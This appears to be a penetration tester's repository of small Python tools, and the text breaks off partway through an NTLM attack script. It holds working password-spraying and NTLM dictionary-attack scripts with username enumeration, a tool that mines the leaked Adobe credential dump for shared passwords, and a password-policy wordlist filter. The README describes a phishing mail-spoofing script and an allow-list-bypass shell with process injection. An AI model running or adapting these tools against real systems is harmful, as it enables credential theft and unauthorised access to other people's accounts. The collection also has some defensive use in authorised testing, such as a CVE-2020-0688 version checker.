├── README.md ├── adobe-grepper.py ├── android-install-burp-ca.py ├── basic-batch.py ├── cve-2020-0688-versioncheck.py ├── dictionary-grepper.py ├── ip2cidr.py ├── markdown_to_outlook.py ├── ntlm-botherer.py ├── progress_decrypt.py ├── relaysend.py ├── scr ├── sendmails.py ├── shell.py └── spf-enumerator.py /README.md: -------------------------------------------------------------------------------- 1 | # Random Scripts 2 | 3 | A dumping ground for little helpers 4 | 5 | Here's a few highlights that I use frequently: 6 | 7 | ## sendmails.py 8 | 9 | Versatile mail spoofing script for phishing campaigns. 10 | 11 | ## relaysend.py 12 | 13 | Test internal / open mail relays in infrastructure tests. 14 | 15 | ## ntlm-botherer.py 16 | 17 | Info-leak and dictionary attack tool for NTLM authed web resources. 18 | 19 | ## dictionary-grepper.py 20 | 21 | Take a large password dictionary and apply filters to match your target password policy. 22 | 23 | ## basic-batch.py 24 | 25 | Password spray against various basic auth URLs 26 | 27 | ## shell.py 28 | 29 | Finding a python interpreter on an endpoint is increasingly common and great for bypassing allow-listing. This provides a reasonably powerful CLI to do filesystem stuff, port scanning and process injection. Very useful! 30 | -------------------------------------------------------------------------------- /adobe-grepper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import argparse 3 | import sys 4 | import os.path 5 | import subprocess 6 | import re 7 | 8 | parser = argparse.ArgumentParser(description="Grep out info from the adobe creds file") 9 | parser.add_argument("term", help="Search term") 10 | parser.add_argument("creds", help="Adobe creds file") 11 | args = parser.parse_args() 12 | 13 | if not args.creds: 14 | parser.print_usage() 15 | sys.exit(2) 16 | 17 | def parseline(line): 18 | # 103238704-|--|-jmyuncker@aol.com-|-r4Vp5iL2VbM=-|-maiden name|-- 19 | m = re.findall( '(([^\|]+)\|)', line ) 20 | rtn = {} 21 | rtn['email'] = parsevalue(m[2][1]) 22 | rtn['pass'] = parsevalue(m[3][1]) 23 | rtn['hint'] = '' 24 | for i in range(4,len(m)): 25 | rtn['hint'] += parsevalue(m[i][1])+" " 26 | return rtn 27 | 28 | def parsevalue(val): 29 | return re.sub('^-|-$','',val) 30 | 31 | emaillist = [] 32 | 33 | print( 'Searching for '+args.term+' in '+args.creds+'...' ) 34 | sys.stdout.flush() 35 | 36 | # First pass - get instances of term 37 | result = subprocess.check_output( 'grep "' + args.term + '" ' + args.creds, shell=True ) 38 | 39 | print( 'Found ' + str(len(result.strip().split('\n'))) + ' results in search' ) 40 | print( result ) 41 | sys.stdout.flush() 42 | 43 | for line in result.split('\n'): 44 | line = line.strip() 45 | if line == '': 46 | continue 47 | emaillist.append(parseline(line)) 48 | 49 | 50 | # Get unique list of passwords 51 | passwords = {} 52 | for info in emaillist: 53 | if not info['pass'] in passwords: 54 | if( info['pass'] != '' ): 55 | passwords[info['pass']] = [] 56 | 57 | print( 'Searching for shared passwords...' ) 58 | sys.stdout.flush() 59 | 60 | # Iterate over passwords, finding all other people who have that password 61 | for password in passwords.keys(): 62 | if password == 'password': 63 | continue 64 | print( 'Searching for ' + password + '...' ) 65 | sys.stdout.flush() 66 | result = subprocess.check_output('grep "' + password + '" ' + args.creds, shell=True ) 67 | print( 'Found ' + str(len(result.strip().split('\n'))) + ' uses' ) 68 | sys.stdout.flush() 69 | for line in result.split('\n'): 70 | line = line.strip() 71 | if line == '': 72 | continue 73 | passwords[password].append(parseline(line)) 74 | 75 | print('') 76 | print('Email addresses:') 77 | print('================') 78 | sys.stdout.flush() 79 | for person in emaillist: 80 | print(person['email']) 81 | sys.stdout.flush() 82 | 83 | print('') 84 | print('Results:') 85 | print('========') 86 | sys.stdout.flush() 87 | 88 | # Iterate over all people and output relevant password hints 89 | for person in emaillist: 90 | if person['pass'] == '': 91 | continue; 92 | print('') 93 | extra = '' 94 | if len( person['pass'] ) == 12: 95 | extra += ' length <= 7' 96 | elif 'ioxG6CatHBw==' in person['pass']: 97 | extra += ' length == 8' 98 | else: 99 | extra += ' length > 8' 100 | print( person['email'] + ': ' + person['pass'] + extra + ' ('+str(len(passwords[person['pass']]))+')' ) 101 | for hint in passwords[person['pass']]: 102 | print( ' ' + hint['email'] + ': ' + hint['hint'] ) 103 | sys.stdout.flush() 104 | 105 | 106 | -------------------------------------------------------------------------------- /android-install-burp-ca.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import argparse, subprocess, requests, shutil 3 | import sys 4 | import os.path 5 | 6 | # Convert a Burp .der file to pem and install it on the connected Android device over ADB 7 | 8 | 9 | pipes = [] 10 | 11 | parser = argparse.ArgumentParser(description="Download and convert a Burp CA cert to PEM format and install it on the ADB connected device") 12 | parser.add_argument("-p", "--burpport", default=8080, help="Port number burp is running on") 13 | parser.add_argument("-b", "--burphost", default='localhost', help="Host that burp is running on") 14 | args = parser.parse_args() 15 | 16 | print('Installing the currently running Burp CA cert onto the currently connected Android device...') 17 | 18 | # Download cert from Burp 19 | # 20 | # curl -H "Host: burp" http://:8080/cert -o cacert.der 21 | print('') 22 | print('Downloading cert from Burp') 23 | r = requests.get('http://' + args.burphost + ':' + str( args.burpport ) + '/cert', stream=True) 24 | with open('cacert.der','wb') as f: 25 | shutil.copyfileobj(r.raw, f) 26 | 27 | # Convert to pem 28 | # 29 | # openssl x509 -inform der -in cacert.der -out burp.pem 30 | print('') 31 | print('Converting to PEM') 32 | subprocess.call('openssl x509 -inform der -in cacert.der -out burp.pem', shell=True) 33 | 34 | # Generate the hash which will be become the cert name 35 | # 36 | # openssl x509 -inform PEM -subject_hash_old -in burp.pem | head -1 37 | print('') 38 | print('Getting hash') 39 | certhash = subprocess.check_output('openssl x509 -inform PEM -subject_hash_old -in burp.pem | head -1', shell=True).decode('utf8').strip() 40 | print('Hash: ' + str(certhash)) 41 | certhash = str(certhash) + '.0' 42 | 43 | # Rename the burp.Pem to .0 44 | # 45 | # mv burp.pem .0 46 | print('') 47 | print('Renaming to ' + str(certhash)) 48 | shutil.move( 'burp.pem', str(certhash)) 49 | 50 | # Adb push to the sdcard 51 | # 52 | # adb push .0 /sdcard/Download 53 | print('') 54 | print('Uploading to device') 55 | subprocess.call('adb push ' + str(certhash) + ' /sdcard/Download', shell=True ) 56 | subprocess.call("adb shell 'ls -l /sdcard/Download'", shell=True ) 57 | 58 | # Adb shell remount system partition as readwrite 59 | # 60 | # adb shell 61 | # su 62 | # mount -o remount,rw /system 63 | print('') 64 | print('Remounting system as writable') 65 | subprocess.call("adb shell su root 'mount -o remount,rw /system'", shell=True ) 66 | subprocess.call("adb shell su root 'mount | grep system'", shell=True ) 67 | 68 | # Mv cert to the /system/etc/security/cacerts 69 | # 70 | # mv /sdcard/Download/.0 /system/etc/security/cacerts 71 | print('') 72 | print('Moving cert into system cacerts dir') 73 | subprocess.call("adb shell su root 'mv /sdcard/Download/"+str(certhash)+" /system/etc/security/cacerts'", shell=True ) 74 | 75 | # chmod 644 /system/etc/security/cacerts/.0 76 | print('') 77 | print('Changing permissions to 644') 78 | subprocess.call("adb shell su root 'chmod 644 /system/etc/security/cacerts/"+str(certhash)+"'", shell=True ) 79 | 80 | # Adb shell remount system partition as read 81 | # 82 | # mount -o remount,r /system 83 | print('') 84 | print('Remounting as system as read only') 85 | subprocess.call("adb shell su root 'mount -o remount,r /system'", shell=True ) 86 | -------------------------------------------------------------------------------- /basic-batch.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # Password spray basic auth URLs 3 | 4 | import argparse, sys, re, time, signal, requests, urllib3 5 | import os.path 6 | from urllib.parse import urlparse 7 | 8 | # Turn off TLS verification warnings 9 | urllib3.disable_warnings() 10 | 11 | def test_login( username, password, url, proxy=None ): 12 | username = username.strip() 13 | password = password.strip() 14 | headers = {'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36'} 15 | if proxy: 16 | proxies = {'http': proxy, 'https': proxy} 17 | else: 18 | proxies = None 19 | 20 | try: 21 | response = requests.get( url, auth=(username, password), headers=headers, proxies=proxies, verify=False ) 22 | if response.status_code != 401: 23 | return True 24 | except SystemExit: 25 | raise 26 | except: 27 | print('[!] ERROR: Request failed') 28 | return False 29 | 30 | def show_found(): 31 | global found 32 | if len( found ) > 0: 33 | print('Found:') 34 | 35 | l = {} 36 | # Group by URL 37 | for f in found: 38 | if f['url'] not in l: l[f['url']] = [] 39 | l[f['url']].append( f['user'] + ':' + f['pass'] ) 40 | 41 | for u,creds in l.items(): 42 | print('\n' + u + ':') 43 | print( ' - ' + '\n - '.join( creds ) + '\n' ) 44 | 45 | else: print("No creds found :(") 46 | 47 | def cancel_handler(signal=None,frame=None): 48 | print("Caught ctrl-c, quitting...") 49 | show_found() 50 | sys.exit(0) 51 | 52 | def main(): 53 | global found, args 54 | signal.signal(signal.SIGINT, cancel_handler) 55 | parser = argparse.ArgumentParser(description="Script for password spraying basic auth URLs") 56 | parser.add_argument("-e", "--enumerate", action="store_true", help="Attempt time-based username enumeration") 57 | parser.add_argument("-c", "--credslist", help="File with list of credentials in : format to use") 58 | parser.add_argument("-u", "--user", help="Username to dictionary attack as") 59 | parser.add_argument("-U", "--userlist", help="Username list to dictionary attack as") 60 | parser.add_argument("-p", "--password", help="Password to dictionary attack as") 61 | parser.add_argument("-P", "--passlist", help="Password list to dictionary attack as") 62 | parser.add_argument("-D", "--delay", help="Delay between each attempt, in seconds") 63 | parser.add_argument("-s", "--same", action="store_true", help="Try password=username") 64 | parser.add_argument("-b", "--blank", action="store_true", help="Try blank password") 65 | parser.add_argument("-1", "--quitonsuccess", action="store_true", help="Stop as soon as the first credential is found") 66 | parser.add_argument("-n", "--noskip", action="store_true", help="Don't skip a user after finding valid creds") 67 | parser.add_argument("--proxy", help="URL of HTTP proxy to send requests through, e.g. http://localhost:8080") 68 | parser.add_argument("url", help="URL or file containing list of URLs protected by basic auth") 69 | args = parser.parse_args() 70 | 71 | if not args.url: 72 | parser.print_usage() 73 | sys.exit(2) 74 | 75 | print() 76 | if( args.url.startswith("https://") or args.url.startswith("http://") ): 77 | urls = [args.url] 78 | else: 79 | # Arg is a file 80 | with open( args.url, 'r' ) as f: 81 | urls = f.read().splitlines() 82 | 83 | if args.delay: 84 | args.delay = int(args.delay) 85 | 86 | found = [] 87 | queue = [] 88 | users = [] 89 | passwords = [] 90 | creds = [] 91 | 92 | # Attempt time-based username enumeration. Valid users are quicker to respond on MS mail servers 93 | # Inspired by: https://github.com/busterb/msmailprobe 94 | if ( args.user or args.userlist ) and args.enumerate: 95 | for url in urls: 96 | userlist = [] 97 | enumerated = [] 98 | if args.user: userlist.append(args.user) 99 | if args.userlist: 100 | with open( args.userlist, "r" ) as f: 101 | for u in f.read().splitlines(): 102 | userlist.append(u) 103 | 104 | # Generate fake usernames 105 | import random, string 106 | fakeusers = [] 107 | for i in range(10): 108 | fakeusers.append(''.join(random.choices(string.ascii_lowercase + string.digits, k=10))) 109 | 110 | # Determine an average response time for fake usernames 111 | print('Working out an average response time for invalid usernames...' ) 112 | import time, statistics 113 | responsetimes = [] 114 | for u in fakeusers: 115 | start = round(time.time() * 1000) 116 | test_login( u, 'ThisIsNotAnyonesRealPasswordIShouldHope', url ) 117 | responsetimes.append(round(time.time() * 1000) - start) 118 | avgresponse = statistics.mean( responsetimes ) 119 | print('\nAverage response time:',avgresponse,'ms') 120 | 121 | # Run through each user, compare to average 122 | for u in userlist: 123 | start = round(time.time() * 1000) 124 | test_login( u, 'ThisIsNotAnyonesRealPasswordIShouldHope', url ) 125 | elapsed = round(time.time() * 1000) - start 126 | # print('Elapsed:', elapsed) 127 | 128 | # If it's significantly less than average, it's valid. I guess we're hard-coding the significance! 129 | if elapsed < (avgresponse * 0.77): 130 | enumerated.append( u ) 131 | print("[+] " + u ) 132 | else: 133 | print("[-] " + u ) 134 | 135 | print('Finished enumeration on', url) 136 | if len( enumerated ) > 0: 137 | print( 'Valid users:\n\n' + '\n'.join(enumerated)) 138 | else: 139 | print( 'No valid users found :(' ) 140 | 141 | if (( args.user or args.userlist ) and ( args.password or args.passlist )) or args.credslist: 142 | 143 | # Check user list 144 | if args.userlist and not os.path.isfile(args.userlist): 145 | print('Couldn\'t find ' + args.userlist) 146 | parser.print_usage() 147 | sys.exit(2) 148 | 149 | # Check password list 150 | if args.passlist and not os.path.isfile(args.passlist): 151 | print('Couldn\'t find ' + args.passlist) 152 | parser.print_usage() 153 | sys.exit(2) 154 | 155 | # Check creds list 156 | if args.credslist and not os.path.isfile(args.credslist): 157 | print('Couldn\'t find ' + args.credslist) 158 | parser.print_usage() 159 | sys.exit(2) 160 | 161 | if args.user: 162 | users = [args.user.strip()] 163 | 164 | if args.userlist: 165 | with open( args.userlist, 'r' ) as f: 166 | users.extend( f.read().splitlines() ) 167 | 168 | if args.password: 169 | passwords = [args.password.strip()] 170 | 171 | if args.passlist: 172 | with open( args.passlist, 'r' ) as f: 173 | passwords.extend( f.read().splitlines() ) 174 | 175 | if args.credslist: 176 | with open( args.credslist, 'r' ) as f: 177 | for line in f.read().splitlines(): 178 | if line == '': 179 | continue 180 | c = line.split(':') 181 | if len( c ) < 2: 182 | print('No username / pass combination in: ' + line) 183 | continue 184 | creds.append({ 'user':c[0], 'pass':':'.join(c[1:]) }) 185 | 186 | # Loop in the order users, urls, passwords 187 | # i.e. 188 | # url1,user1,password1 189 | # url1,user2,password1 190 | # url1,user3,password1 191 | # url2,user1,password1 192 | # url2,user2,password1 193 | # url2,user3,password1 194 | # url3,user1,password1 195 | # url3,user2,password1 196 | # url3,user3,password1 197 | # url1,user1,password2 198 | # url1,user2,password2 199 | # url1,user3,password2 200 | # url2,user1,password2 201 | # url2,user2,password2 202 | # url2,user3,password2 203 | # url3,user1,password2 204 | # url3,user2,password2 205 | # url3,user3,password2 206 | # url1,user1,password3 207 | # url1,user2,password3 208 | # url1,user3,password3 209 | # url2,user1,password3 210 | # url2,user2,password3 211 | # url2,user3,password3 212 | # url3,user1,password3 213 | # url3,user2,password3 214 | # url3,user3,password3 215 | 216 | # Compile queue 217 | for url in urls: 218 | for cred in creds: 219 | item = cred 220 | item["url"] = url 221 | queue.append(item) 222 | 223 | for user in users: 224 | 225 | # password = username 226 | if args.same: 227 | queue.append({ "url":url, "user":user, "pass":user }) 228 | 229 | # blank password 230 | if args.blank: 231 | queue.append({ "url":url, "user":user, "pass":""}) 232 | 233 | 234 | for pw in passwords: 235 | for url in urls: 236 | for user in users: 237 | queue.append({ "url": url, "user": user, "pass": pw }) 238 | 239 | foundusers = [] 240 | 241 | print('Generated request queue of '+str(len(queue))+' items') 242 | count = 1 243 | 244 | for item in queue: 245 | skip = False 246 | 247 | print('['+str(count)+'/'+str(len(queue))+'] ',end='') 248 | count+=1 249 | 250 | # Check they're not already found 251 | if not args.noskip: 252 | for f in found: 253 | if f["user"] == item["user"] and f["url"] == item["url"]: 254 | print('[-] Skipping already found user:' + item['user'] + ' for ' + item['url']) 255 | skip = True 256 | 257 | if skip: 258 | continue 259 | 260 | # Test login 261 | print("[*] Testing " + item['user'] + " : " + item['pass'] + " ("+item['url']+")") 262 | if test_login( item["user"], item["pass"], item["url"], args.proxy ): 263 | print("[+] FOUND: " + item['user'] + " : " + item['pass'] + ' ('+item['url']+')') 264 | found.append( item ) 265 | 266 | # Quit on first found credential 267 | if args.quitonsuccess: 268 | show_found() 269 | sys.exit(0) 270 | 271 | # Rate limiting 272 | if args.delay: 273 | time.sleep(args.delay) 274 | 275 | show_found() 276 | 277 | print("Done") 278 | 279 | if __name__ == '__main__': 280 | main() 281 | -------------------------------------------------------------------------------- /cve-2020-0688-versioncheck.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import urllib3, argparse, re, requests, sys 4 | urllib3.disable_warnings() 5 | 6 | # Build numbers vs versions and CUs 7 | # https://www.msoutlook.info/question/277 8 | vers = { 9 | "15.2.221":"2019", 10 | "15.2.330":"2019 CU1", 11 | "15.2.397":"2019 CU2", 12 | "15.2.464":"2019 CU3", 13 | "15.2.529":"2019 CU3", 14 | "15.1.225":"2016", 15 | "15.1.396":"2016 CU1", 16 | "15.1.466":"2016 CU2", 17 | "15.1.544":"2016 CU3", 18 | "15.1.669":"2016 CU4", 19 | "15.1.845":"2016 CU5", 20 | "15.1.1034":"2016 CU6", 21 | "15.1.1261":"2016 CU7", 22 | "15.1.1415":"2016 CU8", 23 | "15.1.1466":"2016 CU9", 24 | "15.1.1531":"2016 CU10", 25 | "15.1.1591":"2016 CU11", 26 | "15.1.1713":"2016 CU12", 27 | "15.1.1779":"2016 CU13", 28 | "15.1.1847":"2016 CU14", 29 | "15.1.1913":"2016 CU15", 30 | "15.0.516":"2013", 31 | "15.0.620":"2013 CU1", 32 | "15.0.712":"2013 CU3", 33 | "15.0.775":"2013 CU3", 34 | "15.0.847":"2013 SP1 (CU4)", 35 | "15.0.913":"2013 CU5", 36 | "15.0.995":"2013 CU6", 37 | "15.0.1044":"2013 CU7", 38 | "15.0.1076":"2013 CU8", 39 | "15.0.1104":"2013 CU9", 40 | "15.0.1130":"2013 CU10", 41 | "15.0.1156":"2013 CU11", 42 | "15.0.1178":"2013 CU12", 43 | "15.0.1210":"2013 CU13", 44 | "15.0.1236":"2013 CU14", 45 | "15.0.1263":"2013 CU15", 46 | "15.0.1293":"2013 CU16", 47 | "15.0.1320":"2013 CU17", 48 | "15.0.1347":"2013 CU18", 49 | "15.0.1365":"2013 CU19", 50 | "15.0.1367":"2013 CU20", 51 | "15.0.1395":"2013 CU21", 52 | "15.0.1473":"2013 CU22", 53 | "15.0.1497":"2013 CU23", 54 | "14.0.639":"2010", 55 | "14.1.218":"2010 SP1", 56 | "14.2.247":"2010 SP2", 57 | "14.2.318":"2010 SP2 RU4", 58 | "14.3.123":"2010 SP3", 59 | "14.3.266":"2010 SP3 RU11", 60 | "14.3.279":"2010 SP3 RU12", 61 | "14.3.294":"2010 SP3 RU13", 62 | "14.3.301":"2010 SP3 RU14", 63 | "14.3.319":"2010 SP3 RU15", 64 | "14.3.339":"2010 SP3 RU16", 65 | "14.3.352":"2010 SP3 RU17", 66 | "14.3.361":"2010 SP3 RU18", 67 | "14.3.382":"2010 SP3 RU19", 68 | "14.3.389":"2010 SP3 RU20", 69 | "14.3.399":"2010 SP3 RU21", 70 | "14.3.411":"2010 SP3 RU22", 71 | "14.3.417":"2010 SP3 RU23", 72 | "14.3.419":"2010 SP3 RU24", 73 | "14.3.435":"2010 SP3 RU25", 74 | "14.3.442":"2010 SP3 RU26", 75 | "14.3.452":"2010 SP3 RU27", 76 | "14.3.461":"2010 SP3 RU28", 77 | "14.3.468":"2010 SP3 RU29", 78 | "8.0.685":"2007", 79 | "8.1.240":"2007 SP1", 80 | "8.2.176":"2007 SP2", 81 | "8.3.83":"2007 SP3", 82 | "8.3.517":"2007 SP3 RU23" 83 | } 84 | 85 | # From https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688 86 | fixed = ["2010 SP3 RU30","2013 CU23","2016 CU14","2016 CU15","2019 CU3","2019 CU4"] 87 | 88 | # Parse args 89 | parser = argparse.ArgumentParser(description="Check the version of an OWA instance") 90 | parser.add_argument("url", help="URL of OWA, e.g. https://webmail.company.com/") 91 | args = parser.parse_args() 92 | if not args.url: 93 | parser.print_usage() 94 | sys.exit(2) 95 | 96 | # Get login page 97 | url = args.url + '/owa/auth/logon.aspx' 98 | 99 | r = requests.get( url, verify=False ) 100 | 101 | # Get build number from response 102 | m = re.search(r'(?P[0-9]+)\.(?P[0-9])\.(?P[0-9]+)(\.(?P[0-9]\+))?',r.text) 103 | if not m: 104 | print('Couldn\'t find a build number') 105 | sys.exit(1) 106 | 107 | 108 | print('Vulnerability was fixed in:\n - ' + '\n - '.join(fixed)) 109 | 110 | build = m.group('major') + '.' + m.group('minor') + '.' + m.group('build') 111 | print('Build is ' + build) 112 | if build not in list(vers.keys()): 113 | print('Don\'t know that build number, taking a guess...') 114 | if int(m.group('major')) < 14: 115 | print('This is older than Exchange 2010 - possibly too old to be vulnerable!') 116 | sys.exit(0) 117 | else: 118 | # Get all builds of this version 119 | v = m.group('major') + '.' + m.group('minor') + '.' 120 | for b,cu in vers.items(): 121 | if b.startswith( v ): 122 | if cu in fixed: 123 | # Is the build bigger than the fixed version? 124 | fb = int(b.split('.')[2]) 125 | print('Vuln was fixed in build', fb ) 126 | if int(m.group('build')) > fb: 127 | print('This build is later - not vulnerable') 128 | sys.exit(0) 129 | print('No idea what this is') 130 | sys.exit(1) 131 | else: 132 | version = vers[build] 133 | print('Matches version: ' + version) 134 | if version not in fixed: 135 | print('VULNERABLE TO CVE-2020-0688!') 136 | else: 137 | print('Patched against CVE-2020-0688') 138 | -------------------------------------------------------------------------------- /dictionary-grepper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import argparse, subprocess 3 | import sys 4 | import os.path 5 | 6 | # Create a series of grep pipes to cut down a large dictionary of passwords to just ones relevant to a password policy 7 | 8 | pipes = [] 9 | 10 | parser = argparse.ArgumentParser(description="Grep out a dictionary file") 11 | parser.add_argument("-l", "--len", help="Minimum length of passwords") 12 | parser.add_argument("-m", "--maxlen", help="Maximum length of passwords") 13 | parser.add_argument("-e", "--excludelist", help="Exclude items from the specified word list") 14 | parser.add_argument("-u", "--upper", action="store_true", help="Must contain an uppercase character") 15 | parser.add_argument("-L", "--lower", action="store_true", help="Must contain a lowercase character") 16 | parser.add_argument("-a", "--letter", action="store_true", help="Must contain an upper or lower case letter") 17 | parser.add_argument("-n", "--numbers", action="store_true", help="Must contain a number") 18 | parser.add_argument("-s", "--special", action="store_true", help="Must contain at least one special (non-alphanumeric) character") 19 | parser.add_argument("-N", "--specnum", action="store_true", help="Must contain at least one special character or number") 20 | parser.add_argument("-S", "--specupnum", action="store_true", help="Must contain at least one special character, uppercase character or number") 21 | parser.add_argument("-f", "--firstupper", action="store_true", help="First character is uppercase") 22 | parser.add_argument("-r", "--norepeat", action="store_true", help="No repeating characters") 23 | parser.add_argument("-w", "--windows", action="store_true", help="Same as '-l 8 -u -L -N' to approximately match Windows minimum password complexity requirements: 8 chars, at least 3 of upper, lower, number, special, unicode") 24 | parser.add_argument("dictionary", help="Input dictionary file") 25 | args = parser.parse_args() 26 | 27 | if not args.dictionary: 28 | parser.print_usage() 29 | sys.exit(2) 30 | 31 | if not os.path.isfile( args.dictionary ): 32 | print(( "Not found: " + args.dictionary )) 33 | sys.exit(2) 34 | 35 | 36 | # Work out grep pipes 37 | pipes.append( ('cat', args.dictionary) ) 38 | 39 | if args.windows: 40 | if not args.len: 41 | args.len = 8 42 | args.upper = True 43 | args.lower = True 44 | args.specnum = True 45 | 46 | if args.len: 47 | pipes.append( ['grep', r"^.\{{{0},\}}$".format(int(args.len))] ) 48 | 49 | if args.maxlen: 50 | pipes.append( ['grep', r'^.{,'+str(int(args.maxlen))+'}$' ] ) 51 | 52 | if args.excludelist: 53 | pipes.append( [ 'grep', '-x', '-v', '-F', '-f', args.excludelist ] ) 54 | 55 | if args.upper: 56 | pipes.append( ['grep', '[A-Z]'] ) 57 | 58 | if args.lower: 59 | pipes.append( ['grep', '[a-z]' ] ) 60 | 61 | if args.letter: 62 | pipes.append( ['grep', '[A-Za-z]' ] ) 63 | 64 | if args.numbers: 65 | pipes.append( ['grep', '[0-9]' ] ) 66 | 67 | if args.special: 68 | pipes.append( ['grep', '[^a-zA-Z0-9]' ] ) 69 | 70 | if args.specnum: 71 | pipes.append( ['grep', r'\([^a-zA-Z0-9]\|[0-9]\)' ]) 72 | 73 | if args.specupnum: 74 | pipes.append( ['grep', r'\([^a-zA-Z0-9]\|[0-9]\|[A-Z]\)' ]) 75 | 76 | if args.firstupper: 77 | pipes.append( ['grep', '^[A-Z]' ]) 78 | 79 | if args.norepeat: 80 | pipes.append( ['grep', '-v', r'\(.\)\1' ]) 81 | 82 | procs = [] 83 | for p in pipes: 84 | 85 | # Any stdout available? 86 | if len( procs ) > 0: 87 | out = procs[-1].stdout 88 | else: 89 | out = None 90 | 91 | procs.append( subprocess.Popen(p, stdout=subprocess.PIPE, stdin=out, universal_newlines=False) ) 92 | 93 | out,err = procs[-1].communicate() 94 | 95 | print(out.decode('utf8')) 96 | 97 | 98 | -------------------------------------------------------------------------------- /ip2cidr.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | """ 4 | Usage: ip2cidr.py input_file 5 | Based on http://www.unix.com/shell-programming-and-scripting/233825-convert-ip-ranges-cidr-netblocks.html 6 | """ 7 | 8 | import sys, re, netaddr 9 | 10 | def sanitize (ip): 11 | seg = ip.split('.') 12 | return '.'.join([ str(int(v)) for v in seg ]) 13 | 14 | # pointer to input file 15 | fp_source = open(sys.argv[1], "r") 16 | 17 | ptrnSplit = re.compile(' - | , ') 18 | 19 | for line in fp_source: 20 | 21 | # parse on ' - ' et ' , ' 22 | s = re.split(ptrnSplit, line) 23 | 24 | # sanitize ip: 001.004.000.107 --> 1.4.0.107 to avoid netaddr err. 25 | ip = [ sanitize(v) for v in s[:2] ] 26 | 27 | # conversion ip range to CIDR netblocks 28 | # single ip in range 29 | if ip[0] == ip[1]: 30 | print( ip[0]) 31 | 32 | # multiple ip's in range 33 | else: 34 | ipCidr = netaddr.IPRange(ip[0], ip[1]) 35 | for cidr in ipCidr.cidrs(): 36 | print(cidr) 37 | 38 | -------------------------------------------------------------------------------- /markdown_to_outlook.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Convert a markdown file into HTML that looks like it was generated in the default Outlook style 3 | 4 | import sys, pypandoc, re 5 | 6 | htmlformat='html' 7 | markdownformat='gfm+pipe_tables' 8 | extra = ['--wrap=preserve'] 9 | 10 | infile = sys.argv[1] 11 | 12 | md = open(infile,'r').read() 13 | 14 | html = pypandoc.convert_text( md, format=markdownformat, to=htmlformat, extra_args=extra ) 15 | 16 | # Preserve single line breaks 17 | html = re.sub(r'([^>])($)',r'\1
',html, flags=re.M) 18 | 19 | # Add spacing paragraphs 20 | html = html.replace('

','

\n

 

') 21 | 22 | # Add Outlook tags 23 | html = html.replace(r'

', r'

').replace( r'

', r'

' ) 24 | 25 | # List items 26 | html = html.replace('
  • ','
  • ') 27 | 28 | # Divs 29 | html = html.replace('
    ','
    ') 30 | 31 | # Add HTML header stuff 32 | html = ''' 33 | 34 | 35 | 36 | 37 | 350 | 351 | 352 |
    353 | ''' + html + '
    ' 354 | 355 | print(html) 356 | -------------------------------------------------------------------------------- /ntlm-botherer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # Simple wrapper for some command line NTLM attacks 3 | 4 | import argparse 5 | import sys 6 | import os.path 7 | import subprocess 8 | from urllib.parse import urlparse 9 | import re 10 | import time 11 | import signal 12 | 13 | def test_login( username, password, url, http1_1 = False ): 14 | global args, found, foundusers 15 | username = username.strip() 16 | password = password.strip() 17 | 18 | # Skip this attempt if we already have credentials for this user 19 | if username in foundusers: 20 | return False 21 | 22 | print("[*] Testing " + username + " : " + password) 23 | # cmd = "curl -s -I --ntlm --user " + username + ":" + password + " -k " + url 24 | try: 25 | cmd = ["curl", "-s", "-I", "--ntlm", "--user", username + ":" + password, "-k"] 26 | if http1_1: 27 | cmd.append( '--http1.1' ) 28 | if args.cert and args.key: 29 | cmd.extend(['--cert',args.cert,'--key',args.key]) 30 | cmd.append(url) 31 | out = subprocess.check_output( cmd ).decode('utf8') 32 | if args.debug: 33 | print( out ) 34 | m = re.findall( r"HTTP\/\d.\d (\d{3})", out ) 35 | for code in m: 36 | if code != "401": 37 | print("[+] FOUND: " + username + " : " + password) 38 | found.append( username + " : " + password ) 39 | foundusers.append( username ) 40 | if args.quitonsuccess: 41 | sys.exit(0) 42 | if args.delay: 43 | time.sleep(args.delay) 44 | return True 45 | 46 | if args.delay: 47 | time.sleep(args.delay) 48 | except SystemExit: 49 | raise 50 | except: 51 | print('ERROR: curl call failed') 52 | return False 53 | 54 | def show_found(): 55 | if len( found ) > 0: print("Found:\n - " + "\n - ".join(found)) 56 | else: print("No creds found :(") 57 | 58 | def cancel_handler(signal=None,frame=None): 59 | print("Caught ctrl-c, quitting...") 60 | show_found() 61 | sys.exit(0) 62 | 63 | signal.signal(signal.SIGINT, cancel_handler) 64 | 65 | parser = argparse.ArgumentParser(description="Wrapper for NTLM info leak and NTLM dictionary attack") 66 | parser.add_argument("-i", "--info", action="store_true", help="Exploit NTLM info leak") 67 | parser.add_argument("-e", "--enumerate", action="store_true", help="Attempt time-based username enumeration on URL") 68 | parser.add_argument("-c", "--credslist", help="File with list of credentials in : format to use") 69 | parser.add_argument("-u", "--user", help="Username to dictionary attack as") 70 | parser.add_argument("-U", "--userlist", help="Username list to dictionary attack as") 71 | parser.add_argument("-p", "--password", help="Password to dictionary attack as") 72 | parser.add_argument("-d", "--domain", help="NTLM domain name to attack") 73 | parser.add_argument("-P", "--passlist", help="Password list to dictionary attack as") 74 | parser.add_argument("-D", "--delay", help="Delay between each attempt, in seconds") 75 | parser.add_argument("-s", "--same", action="store_true", help="Try password=username") 76 | parser.add_argument("-b", "--blank", action="store_true", help="Try blank password") 77 | parser.add_argument("-1", "--quitonsuccess", action="store_true", help="Stop as soon as the first credential is found") 78 | parser.add_argument("--debug", action="store_true", help="Output debug info") 79 | parser.add_argument("--http1_1", action="store_true", help="Force use of HTTP 1.1 (if you're getting \"curl call failed\" errors due to HTTP2)") 80 | parser.add_argument("--cert", nargs='?', help="Client side PEM cert file") 81 | parser.add_argument("--key", nargs='?', help="Client side PEM key file") 82 | parser.add_argument("url", help="URL of NTLM protected resource, e.g. https://webmail.company.com/ews/exchange.asmx") 83 | args = parser.parse_args() 84 | 85 | if not args.url: 86 | parser.print_usage() 87 | sys.exit(2) 88 | 89 | print() 90 | 91 